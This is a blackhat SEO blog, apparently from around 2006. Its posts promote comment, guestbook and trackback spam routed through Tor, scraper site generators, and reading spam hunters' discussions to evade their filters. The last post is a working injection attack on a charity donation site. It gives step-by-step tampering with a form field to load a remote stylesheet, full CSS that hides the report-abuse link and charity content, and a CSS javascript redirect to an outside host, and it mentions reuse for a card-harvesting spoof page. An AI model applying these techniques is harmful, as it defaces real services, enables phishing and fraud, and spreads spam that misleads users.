Blackhat SEO - Esrun

Spam hunters given $11.7m fine!

Whilst im not a fan of email spam I am happy about this paticular bit of news!

My gripe with spamhunters, other than the fact that they’re generally a minor pain in the arse is that they often get their facts wrong and label people, companies and websites as spam when they’re not!

In this case Spamhaus (which names and shames email spammers) has been fined for stating the marketting company e360insight was an affiliate with a well known spammer. Not only do you have the libel implications here but they also put e360insight on a spam list which many large email providers use which resulted in people not receiving emails from e360insight and in effect caused a potential loss of earnings to e360insight.

It is about time something like this has happened! If spamhunters want to waste their time chasing people then they better make sure they get their facts right!

I actually commented on spamhunters often getting it wrong on the spamhuntress website. You can see my comments on her blog.

MSN search changes to live search

Today MSN changed from their standard beta search to the new Live.com search engine. In an effort to beat scraper sites which are cloaking based on user_agent and http_referer they are purposely blocking the referer page when forwarding users onto websites!

How many blackhat seo mass builders will this effect!? I expect quite a few!

An example of sites this could effect:

Cloaking based on referer. For example the site may show an adsense filled page if the visitor comes from a search engine but a ‘This site has been suspended’ page if the visitor comes from anywhere else. This would effectively mean that you can spam blogs and such like and when they click through to checkout your site they will think it has been suspended and won’t follow it up bitching to Google.

Update: This thing has been playing on my mind. It just didn’t seem logical to prevent the passing of the http referer and I think I may have figured a possible reason other than to kick webspammers down. My theory is that Microsoft purposely made it so that the referer wouldn’t be passed onto the final destination site so that they could put up a LIVE test site without webmasters checking their logs and looking at the referring site and therefore finding the new test LIVE search system before Microsoft were ready to release it! I believe Microsoft have then simply forgotton to fix this before releasing it to the public!

Spam hunters

There is a love-hate relationship between spammers and spam hunters. I have found some really indepth forum threads about my spamming. Now obviously, large amounts of people all discussing your how your spam is affecting them may not seem too good at first but when they start discussing how they catch and filter out your spam its gold! What better way to find out how to improve your spam techniques than to read over what these people have to say on how they’re catching you and then improve on those points.

New scraper site generator

Webspam is of course one side of blackhat SEO but you need to actually have something to spam. Automated webspam creator [AWC] is a system which creates a full website by scraping keywords from Google and search results from Yahoo. Each page is optimised and interlinked to other pages to increase our indexing and ranking power.

At the moment this software is not available for download, however you can see the main features and a demo of the software by clicking the link above. I am looking for comments on this software before deciding whether to release it.

Shoemoney spam contest

Well Jeremy from Shoemoney.com has decided to run another competition. His last one was for people to outrank him for the term ’shoemoney’ on the major search engines(Yahoo!, MSN and Google). This competition was ended early due to huge amounts of complaints being set to his webhost with regards to a spam situation created by the competition(e.g people were spamming out using his name to try and outrank him. I won some money out of this competition with top 10 ranks in Yahoo, MSN and I was first on Google UK.

His new competition is to win $100 by guessing how many spam comments his blog will have automatically blocked by 12PM 9th of September 2006. Now it looks like Jeremy has decided not to accept the comment I made on his post about this competition. I would have thought he’d have learnt from the last competition and thought more carefully about the results before offering competitions. The cut-off time is the last minute of the 8th September 2006 which means anyone who puts in their guess now has much less chance of winning than someone that does it at the very last second before the cut-off time who will see how many spam complaints have already been blocked. Another problem is that people may decide to put in an extremely high guess and then just spam the blog themselves to increase the count to their estimate! Yes its only $100 but people will still do it.

Jeremy may be smart when it comes to pay per click arbitrage and building up media around his life but when it comes to competitions he just doesn’t seem to put much thought into them.

Anyway best of luck to Jeremy, I hope this competition goes better than the last one.

Astalavista.net

Around a year or two ago I had an account with astalavista.net which is a security community which discusses hacking, defense, exploits, scripts etc. Unfortunately I wasn’t very happy with what was on offer at the time and decided not to continue with my membership.

Today I received an email about their anniversary and decided to look back into it, Pascal over at Astalavista has set me up a free account to look around demo the service for a couple of days. The lifetime membership is currently at $99 which is a bargain if the service has improved, even if it has managed to continue how it was when I last visited then at $99 I wouldn’t complain.

Who knows, there may be something in there worthwhile or SEO purposes. I shall post about my experience with them!

p.s: Yes, the link above is an affiliate link i have with them! Since you’re going to checkout their service anyway, I might as well earn a couple of dollars from it.

Statistics

Like most people, I tend to build my sites in ’sets’. E.g I’ll host and interlink a certain amount of sites together on the basis that if one set is damaged for some reason(e.g spam hunters) then there are other sets to fall back on without the whole game ending.

I was looking over some statistics for one of my sets and you can clearly see the benfit of webspam.

January was just on page optimisation and a couple of incoming links. In February I started guestbook comment spam, in March I upgraded my scripts to spam on a much higher level. In June I started� to use a newer� form of webspam . As you can see,� spam is the� true way to generate� incoming links and increase your traffic.

Keyword scraper scripts

I have decided to put together some sample keyword scraper scripts.

Today I released a single keyword Overture scraper. Basically you enter a base keyword into the script and it will then scrape similar keywords from Overture, this kind of script can be a useful start point for website generators.

For example you could have a menu system which scrapes similar keywords and a content system which scrapes search engine result pages for content and relevant outgoing links.

Over the next couple of weeks I will be looking to release the following scripts:

• A multi-keyword version of the Overture keyword scraper
• A single-keyword Ask scraper
• A multi-keyword version of the Ask scraper
• A single-keyword Google scraper
• A multi-keyword Google scraper

To fully understand the purpose of these scripts please check out the first to be released: Overture single keyword scraper

New spam system

Any serious webspammer will understand how much CPU and memory is used when spamming, whether it be guestbook, forum or even trackback spamming.

I used to run apache and php locally on my laptop and ran all my scripts from here, its an AMD (mobile) Sempron 3000+ with 512mb DDR Ram so it held up okay to start with but it soon starts to take its toll on your system and makes it near unusable while your scripts are running.

Today we purchased a system which will be hosted locally(all traffic routed through Tor) and will allow me to use my laptop without the hassle of the CPU and memory being maxed out 24/7.

A few years back I’d always build my own systems since you ended up getting alot more power and space for your money, this doesn’t seem to be the case anymore! The following is the system I purchased:

● AMD® Athlon 64 3500+ processor
● 1024MB DDR SD RAM
● 160 GB SATA hard drive 7200 rpm
● Nvidia 6200LE Graphics
● 64 MB / 256 MB Turbocache Video Memory
● DVD Writer Multi Format (+/-R +/-RW) Double Layer Drive
● 11 in 1 Card Reader
● 10/100 Network Interface + 54g WIFI
● 56kBit Modem
● 6 USB 2.0 ports (2 in front, 4 rear)
● Multimedia USB Keyboard + USB Mouse
This system should arrive tomorrow morning, I’m looking forward to getting this system up and running and increase my output.

Abusing free services

One thing that people involved in blackhat SEO usually target is free services. There are several reasons for this, firstly they obviously incur no bandwidth costs but also they realise the weight that some domains carry and understand the importance of piggy backing onto this if possible.

After recently making a donation on justgiving.com the idea of using the website for SEO reasons came to mind. After all the justgiving.com domain carries a lot of weight on the search engines.

The first task was to work out how to inject my own HTML and/or CSS onto the page to modify it for my requirements. E.g remove all the charity related items and set styles to make titles large for ranking reasons.

After creating an account is became apparent that whilst editing your charity page you could change the form value ‘did’ which would change the header for your account… excellent, slack checking!

Okay, so how would you inject your own HTML? After all there are filters in place to remove HTML… after fiddling around for a few hours I managed to work out a way to do it.

Go into the edit page option and then fill the ‘personal message’ box with your main page content and then click the ‘update and preview’ button. The next page gives you a preview of what you have created and lets you continue or back up, here you edit the form field ‘childImageChoice’ and enter the following code:


“>

/* This CSS file is loaded after the justgiving one meaning my code will overtake theirs! */

/* Set the background colour for the page */
body {
background: #3E5567;
}

/* Hide images since they’re a load of rubbish anyway */
img {
display: none;
}

/* Make the main title of the page large */
.clsFRPTitle {
font-size: 35px;
font-family: verdana;
}

/* Hide the images within the top banner of the page */
.clsHeaderBorder img {
display: none;
}

/* Set a pretty banner for the page */
.clsHeaderBorder {
border: 1px solid #000000;
width: 800px;
height: 100px;
background-image: url(”http://www.yourdomain.com/banner.gif”);
}

/* Hide the report abuse option */
.clsFRPTxtSmall {
display: none;
}

/* Hide several bits and bobs including some links */
.clsTxtSmall {
display: none;
}

/* Hide the text which shows previous donations */
.clsFRPAccCelBtm {
display: none;
}

/* Hide page creator, event, event date and team members */
.clsFRPDetail {
display: none;
}

/* Hide fund raising targets */
.clsFRPSummaryAmts {
display: none;
}

/* Hide donation display name, date, type etc etc text */
.clsFRPAccCelTop {
display: none;
}

/* Hide the meter area */
.clsFormBox {
display: none;
}

/* Customize the text area */
.clsFRPMessBdr {
font-family: verdana;
font-size: 15px;
vertical-align: top;
}

/* Customize the text area links */
.clsFRPMessBdr a, .clsFRPMessBdr a:visited {
padding-left: 15px;
padding-right: 15px;
padding-top: 5px;
padding-bottom: 5px;
color: #FFFFFF;
border: 2px solid red;
background-color: #000000;
text-decoration: none;
font-weight: bold;
font-size: 20px;
}

.clsFRPMessBdr a:hover {
padding-left: 15px;
padding-right: 15px;
padding-top: 5px;
padding-bottom: 5px;
color: #FFFFFF;
border: 1px solid red;
background-color: #000000;
text-decoration: none;
font-weight: bold;
font-size: 20px;
}

/* Customize the image, enter URL to image and the size */
.clsFRPImgTablBdr{
background-image: url(”http://www.gov.im/lib/images/post/postal/parcelforce.jpg”);
width: 200px;
height: 200px;
}

The end result? A web page hosted by justgiving.com but formatted for search rank reasons.

I have tested this and it ranked very well after a month or so for a competitive term with just one minor incoming link to the page. Eventually I ended up using javascript executed from within my remote CSS file to redirect visitors to another page which I had more control over. The following code was used within my style.css file to redirect the page:


body {background-image: url(’javascript:window.location.href=”http://www.mattcutts.com”;’);}


This same method could obviously also be used to create a spoof page on justgiving.com which looks like an official justgiving.com collection page but in fact is simply harvesting card details, this would not be SEO but simply breaking the law! I did try and discuss this issue with JustGiving when I first discovered it but they weren’t interested.